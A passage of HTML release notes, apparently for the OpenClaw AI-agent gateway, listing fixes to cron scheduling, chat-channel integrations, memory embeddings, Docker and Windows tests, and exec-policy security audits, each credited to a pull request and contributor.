<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
